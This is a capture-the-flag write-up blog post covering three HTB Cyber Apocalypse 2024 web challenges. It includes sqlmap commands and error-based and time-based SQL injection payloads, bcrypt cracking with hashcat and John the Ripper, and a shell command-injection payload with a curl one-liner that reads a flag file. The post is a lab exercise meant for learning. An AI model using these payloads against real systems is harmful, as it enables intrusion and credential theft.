HTB Cyber Apocalypse CTF 2024 — Web

Write-ups for HTB Cyber Apocalypse 2024 CTF Web challenges

Abdul Issa
InfoSec Write-ups

--

Web challenges
Web challenges

🏠 HTB Cyber Apocalypse CTF 2024 Write-ups

Challenges

· Flag Command
·
KORP Terminal
·
TimeKORP
·
Conclusion

Flag Command

Embark on the “Dimensional Escape Quest” where you wake up in a mysterious forest maze that’s not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

💡Solution

Head to the website’s URL provided to you by the challenge where you are greeted by a screen mimicking a terminal offering you a limited set of commands. I like the nostalgic green text on a black background. 💻

Flag Command website emulates a terminal
Flag Command website emulates a terminal

As with all web challenges, I like having Burp Suite running from the start.
Ensure it’s loaded and our browser is configured correctly to proxy the traffic through Burp.

Inspecting web traffic through Burp Suite
Inspecting web traffic through Burp Suite

By just reloading the main page and trying out some of the available commands we are generating web traffic we can then monitor within Burp to spot anything interesting in the server’s responses that may not be visible to us on the page.

In this case, we have indeed uncovered a hidden option or command, revealed to us only through the server’s responses which we have captured in Burp.

The server’s response suggests that we could use this hidden but valid command:

Blip-blop, in a pickle with a hiccup! Shmiggity-shmack

Let’s put that command in our terminal window and see what we get. But first, let’s see what the request looks like in Burp:

Burp Request showing the secret command
Burp Request showing the secret command

Now, let's see what we get on the website:

The secret command reveals the flag to us
The secret command reveals the flag to us

Bingo! Nice and easy one to warm up for the remaining Web challenges.

Flag: HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}

KORP Terminal

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries’ privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

💡Solution

Once we load the website, we are presented with a login screen. Before we get into any advanced attacks, we go after the low-hanging fruits first. Shake the tree and see what falls, so to speak!

I’ve tried the default passwords for admin such as:

  • admin
  • password
  • password1
  • password123
  • etc.

None of it worked of course. Bummer! We usually expect it to go like this: admin/admin

Login: always try default credentials first
Login: always try default credentials first

And, ta-daaaa!

Hacker: I’m in!
Hacker: I’m in!

So, we have to do some work for this one. When we have an input field, we should think, SQL Injections? Let’s see if we can reveal any database back-end and cause some SQL errors.

For this attempt, you will need to set your Burp Suite intercept “On”.

Type in anything and click on Log-in.

We should now have the intercepted POST request in Burp. Before we manipulate it, I usually send a copy to the “Repeater” module which will allow us to repeatedly try different parameters and keep testing without having to regenerate the POST request via your browser.

For the username and password, let’s use the following values

user: admin`
password: admin

Burp POST request to test for SQLi
Burp POST request to test for SQLi

As you can see, we have generated an SQL error, which suggests that there is a database back-end and we can try some SQL injections. You can do this manually or automate it to save time and get on with other CTF challenges.

In CTFs, time is of the essence. You’d want to script or automate your testing and attacks as much as possible to spend more time on the harder challenges that require manual work. It’s perfectly fine to use tools like SQLMap

⚠️ Caution: some CTFs have an ussye with running automated tools against their web service. Most of the web challenges are usually provided as a docker image. I suggest you do brute-forcing or automated attacks offline against your local docker instance before you test the successful payload against the online web service

Before we automate this in SQLMap, we need to grab a sample POST request and save it to a file which we will later use for SQLMap. See the request below which I saved to request.txt.

POST / HTTP/1.1
Host: 94.237.60.74:43907
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://94.237.60.74:43907
Connection: close
Referer: http://94.237.60.74:43907/
Upgrade-Insecure-Requests: 1

username=admin'&password=admin

Below is the sequence of commands I used to attack the web service.


$ sqlmap -r request.txt --ignore-code=401 --dbs --ignore-code=401

$ sqlmap -r request.txt -D korp_terminal --tables --ignore-code=401

$ sqlmap -r request.txt -D korp_terminal -T users --columns --ignore-code=401

Let's break down the options used in the provided command:

  1. -r request.txt: This option specifies that sqlmap should use a request stored in the file request.txt to perform the SQL injection testing. This file typically contains an HTTP request captured from a web application using a proxy tool like Burp Suite in our case.
  2. --ignore-code=401: This option tells sqlmap to ignore HTTP status code 401 (Unauthorized) during its testing and continue the testing without considering it as a critical issue.

We would use these options for the following reasons:

  • Using a captured request allows sqlmap to replay the exact request sent by the application, ensuring that the testing is accurate and targeted to the specific parameters vulnerable to SQL injection.
  • Ignoring certain HTTP status codes, such as 401, can be useful when testing against applications that return non-standard responses or include authentication mechanisms that may interfere with the testing process. It tells sqlmap to focus on the test and ignore unrelated errors that may hinder our test or cause it to stop.

And finally, to get to the gold:

$ sqlmap -r request.txt --ignore-code=401 -D korp_terminal -T users --dump-all


[*] starting @ 00:48:33 /2024-03-11/

[00:48:33] [INFO] parsing HTTP request from 'request.txt'

---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' AND (SELECT 7714 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7714=7714,1))),0x717a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UAwf&password=admin

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
Payload: username=admin' AND SLEEP(5)-- jAyk&password=admin
---

Database: korp_terminal
Table: users

[1 entry]
+----+--------------------------------------------------------------+----------+
| id | password | username |
+----+--------------------------------------------------------------+----------+
| 1 | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. | admin |
+----+--------------------------------------------------------------+----------+
SQLMap retrieved the password hash and the username from the database
SQLMap retrieved the password hash and the username from the database

SQLMap identified two types of SQL injections with our input field. If you want to play with them manually in Burp, here they are:

1- Error-based SQLi

Payload: username=admin’ AND (SELECT 7714 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7714=7714,1))),0x717a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) — UAwf&password=admin

2- Time-based SQLi

Payload: username=admin’ AND SLEEP(5) — jAyk&password=admin

We haven’t got the flag right away as we had hoped. Yet another hoop to jump through. However, we have a password hash. You know what to do!

Let’s save the hashed password to a file named hash.txt.

Note: Hashcat was my go-to hash cracker but it has struggled to identify this hash as Bcrypt with the default options. We need to manually specify it. Surprisingly John The Ripper cracked it with the default options without specifying the type of the hash.

$ hash-identifier 

--------------------------------------------------
HASH: $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

Not Found.
--------------------------------------------------

Run Hashcat with default options and the rockyou.txt dictionary

Hashcat with default options
Hashcat with default options

This command should work as we manually specified the hash type:

$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt 

Here’s the output once we have successfully cracked the password.

Hashcat cracked the password
Hashcat cracked the password

How did we know it’s a Bcrypt hash without using any tool? There are several options to identify and crack a hash:

  1. Have they been cracked already? Check CrackStation or md5Hashing
  2. Use online hash analyzers such as Hash Analyzer
  3. Use hashcator hash-identifier in (Kali) Linux
  4. Use john(John The Ripper) password cracker utility
  5. Manually identify the hash type using the resources below and try again
  6. Throw everything at it including the kitchen sink and pray

To manually identify the hash types, you need to be familiar with some common values at the beginning of the hash:

  1. $1$ is MD5
  2. $2a$ is Blowfish (original bcrypt)
  3. $2b$ is Blowfish (Feb 2014)
  4. $2y$ is Blowfish (Jun 2011)
  5. $3$ is NTHASH
  6. $5$ is SHA-256
  7. $6$ is SHA-512

For more information, see the following useful pages:

Below is a demo of John The Ripper just doing its thing without any tweaking. Love it :)

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
John The Ripper cracked the hash
John The Ripper cracked the hash

So we have the correct username (admin) and the password (password123), we can go back to the login page and log on with our found credentials.

Login: always try default credentials first
Logging on with the correct credentials

As soon as we log in, that’s it. No more hoops. We got the flag :)

Flag: HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}

TimeKORP

TBD

That’s right. There aren’t any task details for this challenge! So let’s just dive in.

💡Solution

Before we browse to the website, let’s make sure we have our favourite web proxy Burp Suite tool ready to have the traffic proxied through it.

The Stage:

Once we load this website up, we notice immediately that it’s a simple page which displays the time or the date depending on which option you click.

TimeKORP main page. Displaying Time
TimeKORP main page. Displaying Time
TimeKORP displaying the Date
TimeKORP displaying the Date

This challenge provided us with the source code of the web application. Let’s examine the code to glean more information on how this dynamic function works. The quickest way to find interesting files is:

$ tree  
.
├── Dockerfile
├── build_docker.sh
├── challenge
│ ├── Router.php
│ ├── assets
│ │ └── favicon.png
│ ├── controllers
│ │ └── TimeController.php
│ ├── index.php
│ ├── models
│ │ └── TimeModel.php
│ ├── static
│ │ └── main.css
│ └── views
│ └── index.php
├── config
│ ├── fpm.conf
│ ├── nginx.conf
│ └── supervisord.conf
└── flag

8 directories, 13 files

The Players:

Two files stood out to me. TimeController.php and TimeModel.php. Before we dive into those two files, I’d like to start with the main landing page, index.php to understand the flow of the application better.

index.php source code
index.php

Index.php: This file serves as the entry point of the application. It includes a function that autoloads the necessary controller and model files based on the requested class names. In other words, the classes and methods to invoke are selected by the “router” based on the HTTP method (GET, POST, etc.) and the URL path. In our case, the index.php file sets up a basic router that listens for GET requests to the root URL (“/”). When such a request is received, it directs the request to the TimeController@index method.

It’s just useful to know but not critical to us in terms of finding a vulnerability yet.

TimeController.php source code
TimeController.php

TimeController.php
This controller class is like the traffic police for the root URL (“/”). Whenever someone visits the website’s main page, it calls the index() method.

This method does a couple of things: it checks if there’s a special request for how the time should be displayed, and if so, it makes sure to honor that request. If not, it just goes with the standard ‘%H:%M:%S’ format. Then, it grabs the current time with the help of another class called TimeModel. Once it has the time, it hands it over to the view so it can be nicely displayed on the webpage.

In other words, it decides what happens when someone visits the homepage. It asks for the current time and sends it to be shown on the webpage.

We potentially have an attack vector here if the web application does not validate our input and the “special request” or format we want the time/date to be displayed. We could potentially tamper with this and see what happens.

And now for the third file, TimeModel.php:

TimeModel.php source code
TimeModel.php

TimeModel.php
This class is like the timekeeper behind the scenes. It’s responsible for getting the current time and formatting it just right.

When it’s called upon, it takes in a format parameter to know how the time should be displayed. Then, it uses thedatecommand to fetch the current time. Finally, it hands back the formatted time, ready to be displayed on the webpage.

In other words, it gets the current time from the computer by using the PHP function exec() to run the native OS command dateand sends it back to the controller.

Let’s paint a picture of the potential vulnerability:

Using exec() with system commands like ‘date’ can pose serious security risks if the input is not properly sanitized. If user input is directly passed to exec(), it can potentially allow for command injection attacks.

The Game:

Now we know we may have a suspected Command Injection attack, let’s play with the time and date requests and inject additional system commands into it.

Attempt 1: Using semi-colon ; to execute multiple commands.
Payload: ?format=%Y-%m-%d;ls

Attempt 1: adding a “;ls”
Attempt 1: adding an “;ls”

Attempt 2: Using pipe |to chain commands together.
Payload: ?format=%Y-%m-%d|ls

Attempt 3: Using Command substitution $() to execute commands within the format string.
Payload: ?format=%Y-%m-%d$(ls)

Attempt 4: Using backticks "``for command substitution.
Payload: ?format=%Y-%m-%d`ls`

Tip: When executing those payloads you can increase your chances of success by using encoding or bypassing techniques if you suspect some input validation is taking place. Try URL Encoding special characters to bypass any input validation or filtering. For example, %7C represents the pipe character (|) when URL-encoded.

Seeing that my previous attempts did not succeed when they should have, I began to wonder if I had missed something obvious. It turned out I needed to precede my chaining of multiple commands with 'a single quote!!

The Winner: ?format=%Y-%m-%d’;ls

Before we proceed, recall that from the directory stricture we listed, our flag was at the root of the directory the web application is running on or “../flag”?

Now we know we are set for a successful attack. We know injection works and we know where to retrieve the flag file from.

The Attack:

Our final payload looks like this now:

http://<website>/?format=%Y-%m-%d-';$(cat ../flag)'
  • %Y-%m-%d: Passes the date format we want as Year-Month-Day.
  • -';: This is where we insert a new command and prepare the injection.
  • $(cat%20../flag) This is where we attempt to read the contents of a file named flag from the parent directory. The %20 is the URL encoding for a space character.

Let’s try it with URL encoding (use Burp’s CTRL+U shortcut)

Successful Command Injection leads us to the flag
Successful Command Injection leads us to the flag

For the Mavericks, here’s a command-line trick to do the same thing:

curl 'http://83.136.254.16:39601/?format=%Y-%m-%d-%27;$(cat%20../flag)%27' | html2text | grep HTB{

Here’s what the output looks like on the terminal:

Retrieving the flag using curl and command injection
Retrieving the flag using curl and command injection

Note: you may not have html2text installed by default and you may need to install it using: sudo apt update && sudo apt install html2text first.

Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

Conclusion

While my primary focus lies in infrastructure and network penetration testing, I can’t overlook the significance of web application security. Despite my limited time investment in this category during the CTF, I recognize its importance as the largest attack surface. Moving forward, I intend to allocate more time to dive deeper into web application and API security testing.

One aspect I found particularly engaging was the usage of command-line tools alongside traditional tools like Burp and browsers. Exploring diverse methods and tools, whether in DevTools, Burp, browsers, cURL, or others, enriches our toolkit and enhances our technique repertoire.

As always, thank you for your support and enthusiasm.
I hope this write-up has been of value to you. Please check out my other write-ups for this CTF and others on my blog. 🙏

🏠 HTB Cyber Apocalypse CTF 2024 Write-ups

Now, Go and Play!

CyberSecMaverick

--

--

Penetration Tester, Linux Evangelist, Security Geek, Blogs about Ethical Hacking, CTF, Cybersecurity Career & Certifications. www.linkedin.com/in/abdul-issa